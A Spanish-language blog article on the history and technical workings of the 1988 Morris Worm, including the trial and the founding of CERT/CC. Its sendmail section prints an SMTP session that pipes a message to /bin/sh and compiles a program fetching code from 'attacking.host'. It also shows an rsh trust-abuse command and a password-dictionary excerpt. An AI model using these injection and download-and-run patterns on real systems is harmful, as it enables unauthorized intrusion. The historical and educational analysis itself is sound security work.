Intermediohistoriawormexploitbuffer-overflowCERT

Morris Worm: El Gusano que Tumbó Internet (1988)

El 2 de noviembre de 1988, Robert Tappan Morris lanzó un gusano que infectó el 10% de Internet. Análisis técnico del Morris Worm: sendmail, fingerd, buffer overflows y el nacimiento del CERT.

MalwareIntel Research··17 min lectura·3 técnicas ATT&CK
Serie: Historia del Malware — Parte 3

El contexto: noviembre de 1988, Internet antes de la web

En noviembre de 1988, Internet era una red de aproximadamente 60.000 ordenadores conectados. No existían navegadores, ni páginas web, ni Google. La World Wide Web no se inventaría hasta 1989 (Tim Berners-Lee, CERN). Lo que existía era una infraestructura de máquinas Unix conectadas por protocolos como SMTP, FTP, telnet y finger, usada principalmente por universidades, centros de investigación y agencias gubernamentales.

La seguridad era una idea secundaria. Los administradores de sistemas confiaban en la comunidad. Sendmail se distribuía con el modo debug activado. Los demonios de red no validaban la entrada del usuario. Las contraseñas se almacenaban en /etc/passwd, un archivo legible por cualquier usuario del sistema.

La noche del 2 de noviembre de 1988, un miércoles, un programa de 99 líneas en C se lanzó desde una máquina del MIT. En menos de 24 horas, aproximadamente 6.000 máquinas (el 10% de Internet) estaban tan sobrecargadas que resultaban inutilizables.

Internet acababa de conocer su primer gran incidente de seguridad.

Robert Tappan Morris: el perfil

Robert Tappan Morris tenía 23 años y era estudiante de doctorado en ciencias de la computación en Cornell University (Ithaca, Nueva York). No era un desconocido en el mundo de la seguridad informática.

Su padre, Robert Morris Sr., era científico jefe del National Computer Security Center de la NSA (National Security Agency). El Morris padre había trabajado en los laboratorios Bell y era coautor de la implementación original de Unix crypt, la función de cifrado de contraseñas del sistema. Conocía las debilidades de los sistemas Unix mejor que casi nadie.

El Morris hijo creció rodeado de ordenadores y seguridad informática. En Harvard (donde hizo el grado antes de Cornell), ya era conocido por sus habilidades técnicas. Según colegas de la época, Morris conocía vulnerabilidades en sendmail y fingerd que no eran públicas.

El gusano se lanzó desde una máquina del MIT, no desde Cornell, probablemente para dificultar la atribución.

Anatomía del gusano: cuatro vectores de ataque

El Morris Worm atacaba sistemas VAX de Digital Equipment Corporation y estaciones de trabajo Sun 3, ambos ejecutando variantes de BSD Unix (4.2 y 4.3 Berkeley Software Distribution). Utilizaba cuatro métodos para propagarse, ejecutándolos en secuencia hasta conseguir acceso.

Vector 1: sendmail debug mode (T1190)

Sendmail era (y sigue siendo, en versiones modernas) el servidor de correo electrónico estándar en sistemas Unix. En 1988, muchas instalaciones ejecutaban sendmail con el modo debug activado, una configuración que permitía ejecutar comandos arbitrarios en el servidor.

El gusano se conectaba al puerto 25 (SMTP) de la máquina objetivo y enviaba una secuencia de comandos que explotaba el modo debug:

# Pseudocódigo del ataque sendmail
# El gusano conecta al puerto 25 (SMTP)
telnet target.host 25

# Inicia sesión SMTP normal
HELO attacker
MAIL FROM: <attacker>
RCPT TO: <"|sed -e '1,/^$/d' | /bin/sh ; exit 0">

# El campo RCPT TO contiene un pipe a /bin/sh
# sendmail en modo debug ejecuta el comando
# El body del mensaje contiene instrucciones para
# descargar y compilar el gusano completo

DATA
cd /tmp
cat > x14481910.c << 'EOF'
/* vector program - 99 líneas de C */
/* conecta de vuelta al host atacante */
/* descarga el object file principal */
/* lo compila y ejecuta */
EOF
cc -o x14481910 x14481910.c
./x14481910 attacking.host 32341
.
QUIT

El campo RCPT TO contenía un pipe que redirigía el cuerpo del mensaje a /bin/sh (la shell del sistema). Sendmail en modo debug procesaba esto como un comando legítimo. El cuerpo del mensaje contenía instrucciones para compilar y ejecutar un pequeño programa en C (el "vector program" o "grappling hook") de 99 líneas que se conectaba de vuelta al host atacante para descargar el cuerpo principal del gusano.

Vector 2: fingerd buffer overflow (T1190)

El servicio fingerd proporcionaba información sobre usuarios conectados a un sistema. Su implementación en BSD tenía una vulnerabilidad crítica: usaba la función gets() de C para leer la entrada del usuario, sin validar la longitud.

/*
 * Código vulnerable en fingerd (simplificado)
 * El buffer tiene 512 bytes pero gets() no tiene límite
 */
int main(int argc, char *argv[]) {
    char line[512];  /* buffer de 512 bytes */
    
    /* gets() lee hasta encontrar newline o EOF */
    /* NO verifica que la entrada quepa en el buffer */
    gets(line);  /* VULNERABLE: sin bounds checking */
    
    /* Si la entrada supera 512 bytes, sobrescribe */
    /* la dirección de retorno en el stack */
}

El gusano enviaba una cadena de 536 bytes cuidadosamente construida. Los primeros 512 bytes llenaban el buffer. Los 24 bytes adicionales sobrescribían la dirección de retorno en el stack con la dirección de un shellcode embebido en la propia cadena. Cuando la función retornaba, en lugar de volver al flujo normal, ejecutaba el código inyectado.

Este shellcode ejecutaba /bin/sh, proporcionando una shell remota. Desde ahí, el gusano descargaba y compilaba su cuerpo principal, igual que en el vector de sendmail.

Esto fue uno de los primeros usos documentados de un buffer overflow como vector de ataque en entorno real. La técnica se convertiría en el pilar de la explotación de software durante las siguientes tres décadas.

Vector 3: contraseñas débiles vía /etc/passwd (T1078)

En los sistemas Unix de 1988, el archivo /etc/passwd era legible por todos los usuarios del sistema. Contenía los nombres de usuario y los hashes de las contraseñas cifradas con la función crypt() (DES). El gusano usaba este archivo para intentar romper contraseñas con tres estrategias:

  1. Sin contraseña: probar si la cuenta no tenía password
  2. Nombre de usuario como contraseña: probar el propio login, variaciones (invertido, duplicado, con mayúsculas)
  3. Diccionario interno: el gusano incluía una lista de 432 contraseñas comunes
# Extracto del diccionario interno del Morris Worm
# 432 contraseñas que el gusano probaba contra /etc/passwd
aaa
academia
aerobics
airplane
albany
algebra
alias
alphabet
 strstrstrstr
sysadmin
...
wizard
wombat

Si conseguía crackear una contraseña, el gusano tenía credenciales válidas para ese sistema y, lo que era más peligroso, potencialmente para otros sistemas de la red.

Vector 4: rsh/rexec y relaciones de confianza (T1078)

Los sistemas Unix de la época usaban archivos .rhosts y /etc/hosts.equiv para establecer relaciones de confianza entre máquinas. Si el usuario john en la máquina A tenía configurado que confiaba en la máquina B, cualquiera conectado como john en B podía ejecutar comandos en A sin contraseña usando rsh (remote shell) o rexec.

El gusano explotaba esto de forma transitiva: si conseguía acceso a una cuenta en una máquina, comprobaba los archivos .rhosts y hosts.equiv para saltar a otras máquinas de confianza sin necesidad de crackear más contraseñas.

# El gusano comprobaba relaciones de confianza
# Si usuario 'admin' en host-A confía en host-B:
cat /etc/hosts.equiv
# host-B

cat ~/.rhosts
# host-B admin

# Entonces desde host-B podía ejecutar:
rsh host-A -l admin "/tmp/worm_bootstrap"
# Sin necesidad de contraseña

Este vector era especialmente efectivo en entornos universitarios donde los administradores configuraban relaciones de confianza entre decenas de máquinas del campus.

El bug fatal: la tasa de reinfección

Morris diseñó el gusano con un mecanismo de detección de infección previa. Cuando el gusano llegaba a un nuevo sistema, comprobaba si ya había una copia ejecutándose. Si la respuesta era "sí", el gusano se terminaba... en 6 de cada 7 casos.

La lógica era: si siempre se terminaba al encontrar una copia previa, un administrador podría crear un proceso falso que respondiera "sí" para inmunizar su máquina. Morris decidió que 1 de cada 7 veces, el gusano debía ignorar la respuesta e infectar de todos modos.

/*
 * Pseudocódigo de la lógica de reinfección
 * Este fue el bug que convirtió un experimento
 * en un desastre
 */
int should_infect(int already_infected) {
    if (!already_infected) {
        return 1;  /* nueva máquina: siempre infectar */
    }
    
    /*
     * Máquina ya infectada:
     * 1/7 de probabilidad de reinfectar de todos modos
     * Morris pensó que esto evitaría inmunización falsa
     * pero la tasa era DEMASIADO ALTA
     */
    if (random() % 7 == 0) {
        return 1;  /* reinfectar */
    }
    
    return 0;  /* respetar la infección existente */
}

El problema: una probabilidad de 1/7 (14,3%) era desproporcionadamente alta para un gusano que se propagaba exponencialmente. Cada ciclo de propagación, las máquinas ya infectadas acumulaban más y más copias del gusano. Cada copia consumía CPU, memoria y ancho de banda. En pocas horas, máquinas con decenas de copias simultáneas del gusano se volvían completamente inutilizables.

Si la tasa hubiera sido 1 de cada 100, o 1 de cada 1.000, el gusano probablemente habría pasado desapercibido durante semanas. El bug de la tasa de reinfección transformó lo que podría haber sido un experimento silencioso en una crisis nacional.

Mapa de técnicas MITRE ATT&CK

TácticaTécnicaIDUso en el Morris Worm
Initial AccessExploit Public-Facing ApplicationT1190Explotación de sendmail debug mode y fingerd buffer overflow
ExecutionCommand and Scripting InterpreterT1059Ejecución de comandos vía /bin/sh tras obtener acceso
Valid AccountsValid AccountsT1078Uso de contraseñas crackeadas y relaciones de confianza rsh/rexec
DiscoveryNetwork Service DiscoveryT1046Enumeración de hosts y servicios accesibles en la red
Lateral MovementRemote ServicesT1021Movimiento lateral vía rsh, rexec y sendmail
Credential AccessBrute ForceT1110Diccionario de 432 contraseñas contra /etc/passwd

El impacto: 24 horas de caos

La noche del 2 de noviembre

El gusano fue lanzado aproximadamente a las 18:00 EST del 2 de noviembre de 1988. En pocas horas, administradores de sistemas en universidades de todo Estados Unidos empezaron a notar que sus máquinas se ralentizaban drásticamente.

La propagación fue explosiva:

Hora (aprox.)Estado de la infección
18:00 ESTLanzamiento desde prep.ai.mit.edu
21:00 ESTMáquinas en MIT, Berkeley, Stanford, Princeton afectadas
00:00 ESTMiles de máquinas infectadas, administradores empiezan a desconectar redes
06:00 EST (3 nov)~6.000 máquinas infectadas (10% de Internet)
12:00 ESTPrimeros parches y procedimientos de limpieza circulan por email

Las máquinas afectadas mostraban síntomas claros: carga de CPU al 100%, procesos duplicados del gusano consumiendo toda la memoria disponible, imposibilidad de hacer login o ejecutar comandos. Muchos administradores optaron por desconectar físicamente sus máquinas de la red.

Daño estimado

ConceptoEstimación
Máquinas infectadas~6.000 (10% de Internet)
Sistemas afectadosVAX y Sun 3 con BSD Unix 4.2/4.3
Coste estimado (GAO)10 millones USD (1988)
Coste estimado (otros)100.000 a 10 millones USD
Tiempo de recuperación1 a 5 días por máquina
Datos destruidosNinguno (el gusano no tenía payload destructivo)

El gusano no destruía archivos ni robaba datos. Todo el daño fue por denegación de servicio: las máquinas se saturaban de copias del gusano y dejaban de funcionar. Pero el coste en horas de trabajo de los administradores, la desconexión de servicios y la pérdida de productividad fue enorme.

La respuesta: nace el CERT/CC

El incidente del Morris Worm expuso un problema fundamental: no existía ningún organismo coordinador para responder a incidentes de seguridad informática a nivel nacional. Cada universidad y cada laboratorio respondía por su cuenta, sin canal oficial de comunicación ni procedimientos establecidos.

El 15 de noviembre de 1988, apenas dos semanas después del incidente, DARPA (Defense Advanced Research Projects Agency) financió la creación del CERT/CC (Computer Emergency Response Team / Coordination Center) en Carnegie Mellon University, Pittsburgh.

El CERT/CC se convirtió en el modelo para los equipos de respuesta a incidentes que hoy existen en prácticamente todos los países. FIRST (Forum of Incident Response and Security Teams), la organización internacional que agrupa a más de 600 equipos CERT/CSIRT en todo el mundo, tiene sus raíces directas en la respuesta al Morris Worm.

En España, los equivalentes son CCN-CERT (Centro Criptológico Nacional, orientado a administración pública) e INCIBE-CERT (para empresas y ciudadanos).

El juicio: primera condena bajo la CFAA

Robert Tappan Morris fue identificado como el autor del gusano pocos días después del incidente. En enero de 1990, fue el primer acusado bajo la Computer Fraud and Abuse Act (CFAA) de 1986, una ley federal que había sido aprobada solo dos años antes del incidente.

La defensa de Morris argumentó que el gusano no tenía intención destructiva y que los daños fueron consecuencia de un bug (la tasa de reinfección), no de malicia. La fiscalía argumentó que Morris sabía que sus acciones causarían daño y actuó de forma deliberada al lanzar el gusano desde el MIT para ocultar su origen.

La sentencia (mayo de 1990)

ConceptoDetalle
CargoViolación de 18 U.S.C. § 1030 (CFAA)
VeredictoCulpable
Prisión0 (no fue a la cárcel)
Libertad condicional3 años
Servicio comunitario400 horas
Multa10.050 USD
Coste de supervisiónA cargo de Morris

La sentencia fue considerada leve por muchos. Morris apeló argumentando que la CFAA requería "intención de causar daño" y que él no tenía esa intención. El Tribunal de Apelaciones del Segundo Circuito rechazó la apelación en marzo de 1991, estableciendo que la CFAA solo requería intención de acceder sin autorización, no intención de causar daño específico.

Después del juicio

Morris completó su doctorado en Harvard (no en Cornell, donde estaba cuando lanzó el gusano). En 1995, cofundó Viaweb con Paul Graham, una de las primeras plataformas de comercio electrónico, que Yahoo adquirió en 1998 por 49 millones de dólares (renombrada como Yahoo! Store). Posteriormente cofundó Y Combinator con Graham, la aceleradora de startups más influyente de Silicon Valley.

Desde 2006, Robert Tappan Morris es profesor titular (tenured professor) en el Departamento de Ingeniería Eléctrica y Ciencias de la Computación del MIT. Investiga en sistemas operativos, redes y sistemas distribuidos.

Análisis técnico profundo: el buffer overflow de fingerd

El ataque a fingerd merece un análisis detallado porque introdujo una técnica que dominaría la seguridad informática durante las siguientes tres décadas.

El stack frame antes del overflow

Memoria alta (direcciones grandes)
┌─────────────────────────┐
│ Dirección de retorno    │ ← RET: a dónde volver cuando
│                         │   la función termine
├─────────────────────────┤
│ Frame pointer guardado  │ ← EBP del caller
├─────────────────────────┤
│                         │
│ char line[512]          │ ← Buffer local de 512 bytes
│                         │   gets() escribe aquí
│                         │
├─────────────────────────┤
│ ... otras variables ... │
└─────────────────────────┘
Memoria baja (direcciones pequeñas)

El stack frame después del overflow

Memoria alta
┌─────────────────────────┐
│ SOBRESCRITO con addr    │ ← RET ahora apunta al shellcode
│ del shellcode           │   dentro del buffer
├─────────────────────────┤
│ SOBRESCRITO             │ ← EBP corrupto
├─────────────────────────┤
│ [512 bytes de padding]  │
│ [shellcode al final     │ ← execve("/bin/sh", ...)
│  del buffer]            │   se ejecuta cuando la
│                         │   función retorna
├─────────────────────────┤
│ ... otras variables ... │
└─────────────────────────┘

El shellcode inyectado era específico para la arquitectura VAX (instrucciones VAX assembly). El gusano no funcionaba en todas las arquitecturas porque el shellcode tenía que coincidir con el set de instrucciones del procesador. Esta limitación (VAX y Sun 3 solamente) restringió el alcance del gusano.

La función gets(): por qué nunca debería usarse

/*
 * gets() fue marcada como DEPRECATED en C99
 * y ELIMINADA del estándar en C11
 * El Morris Worm es una de las razones
 *
 * Alternativa segura: fgets()
 */

/* INSEGURO: no hay límite de lectura */
char buf[512];
gets(buf);  /* ¿Y si la entrada tiene 600 bytes? */

/* SEGURO: fgets limita la lectura al tamaño del buffer */
char buf[512];
fgets(buf, sizeof(buf), stdin);  /* máximo 511 chars + null */

El Morris Worm contribuyó directamente a la concienciación sobre la peligrosidad de funciones sin bounds checking. gets() fue deprecada formalmente en C99 y eliminada del estándar C11. Compiladores modernos como GCC emiten warnings al detectar su uso.

Lecciones que siguen vigentes en 2026

1. La configuración por defecto importa

Sendmail se distribuía con debug mode activado. En 2026, los valores por defecto inseguros siguen siendo un problema: puertos de administración expuestos, credenciales por defecto en IoT, APIs sin autenticación.

2. Un bug convierte un experimento en un desastre

La diferencia entre un PoC y un incidente global fue un parámetro mal calibrado (1/7 en vez de 1/1000). En desarrollo de software, especialmente en sistemas que se propagan o escalan, los errores en constantes pueden tener consecuencias desproporcionadas.

3. La confianza implícita es un vector de ataque

Los archivos .rhosts y hosts.equiv representaban un modelo de confianza basado en la identidad de la máquina, no del usuario. El concepto moderno de Zero Trust (nunca confiar, siempre verificar) es la respuesta directa a décadas de incidentes que comenzaron con el Morris Worm.

4. La coordinación de respuesta es tan importante como la prevención

El CERT/CC no habría sido necesario si las vulnerabilidades se hubieran parcheado a tiempo. Pero dado que ningún sistema es invulnerable, la capacidad de respuesta coordinada es esencial. Hoy, frameworks como NIST CSF y estándares como ISO 27035 formalizan lo que el incidente del Morris Worm demostró por la fuerza.

5. Las personas importan más que la tecnología

Morris conocía las vulnerabilidades porque creció en un entorno privilegiado (hijo del científico jefe de seguridad de la NSA). El insider threat y el abuso de conocimiento privilegiado siguen siendo riesgos críticos en cualquier organización.

Timeline del incidente

FechaEvento
2 nov 1988, 18:00 ESTMorris lanza el gusano desde prep.ai.mit.edu
2 nov 1988, 21:00 ESTPrimeros reportes de máquinas sobrecargadas en MIT y Berkeley
3 nov 1988, madrugada~6.000 máquinas infectadas, administradores desconectan redes
3 nov 1988, mediodíaPrimeros parches y kill scripts circulan por email y Usenet
4-5 nov 1988Limpieza masiva, Internet vuelve a la normalidad gradualmente
8 nov 1988Eugene Spafford (Purdue) publica el primer análisis técnico detallado
15 nov 1988DARPA crea el CERT/CC en Carnegie Mellon University
Ene 1990Morris es acusado bajo la CFAA
May 1990Morris declarado culpable: 3 años condicional, 400h servicio, 10.050 USD multa
Mar 1991Tribunal de Apelaciones confirma la condena

Lo que viene después

El Morris Worm demostró que Internet era vulnerable. Pero el gusano atacaba sistemas Unix en universidades y centros de investigación, un ecosistema relativamente pequeño y técnicamente sofisticado.

La siguiente fase de la historia del malware nos lleva a un territorio diferente: la era DOS y la edad de oro de los virus (1986-1995). Millones de ordenadores personales IBM PC, sin protección, sin actualizaciones, propagando malware a través de disquetes compartidos. Cascade, Jerusalem, Michelangelo, Stoned, Dark Avenger. Los virus dejaron los laboratorios y llegaron a las oficinas y los hogares.


Fuentes y referencias

Técnicas MITRE ATT&CK referenciadas

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.